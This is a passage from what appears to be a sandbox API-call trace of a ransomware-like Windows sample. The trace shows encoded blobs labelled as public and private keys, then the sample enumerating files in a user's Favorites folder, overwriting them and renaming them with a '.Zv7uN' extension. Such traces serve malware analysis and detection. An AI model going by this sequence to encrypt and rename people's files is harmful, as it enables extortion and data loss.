MwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0125.168] GetCurrentThreadId () returned 0xa30 [0125.168] GetCurrentThreadId () returned 0xa30 [0125.168] GetCurrentThreadId () returned 0xa30 [0125.169] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0125.169] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0125.169] GetCurrentThreadId () returned 0xa30 [0125.169] GetCurrentThreadId () returned 0xa30 [0125.169] GetCurrentThreadId () returned 0xa30 [0125.169] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.170] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0125.170] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.170] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x85 [0125.170] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.170] ReadFile (in: hFile=0x1ec, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0x85, lpOverlapped=0x0) returned 1 [0125.172] CloseHandle (hObject=0x1ec) returned 1 [0125.172] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.174] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f01f70*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f01f70*, lpNumberOfBytesWritten=0x18f6ac*=0x85, lpOverlapped=0x0) returned 1 [0125.176] CloseHandle (hObject=0x1ec) returned 1 [0125.176] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url.zv7un")) returned 1 [0125.177] GetCurrentThreadId () returned 0xa30 [0125.177] GetCurrentThreadId () returned 0xa30 [0125.177] GetCurrentThreadId () returned 0xa30 [0125.177] GetCurrentThreadId () returned 0xa30 [0125.177] GetCurrentThreadId () returned 0xa30 [0125.177] GetCurrentThreadId () returned 0xa30 [0125.177] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0125.177] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.177] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.178] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86)) returned 1 [0125.179] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url")) returned 0x20 [0125.180] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url", dwFileAttributes=0x80) returned 1 [0125.182] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0125.182] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0125.182] GetCurrentThreadId () returned 0xa30 [0125.182] GetCurrentThreadId () returned 0xa30 [0125.183] GetCurrentThreadId () returned 0xa30 [0125.183] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCnc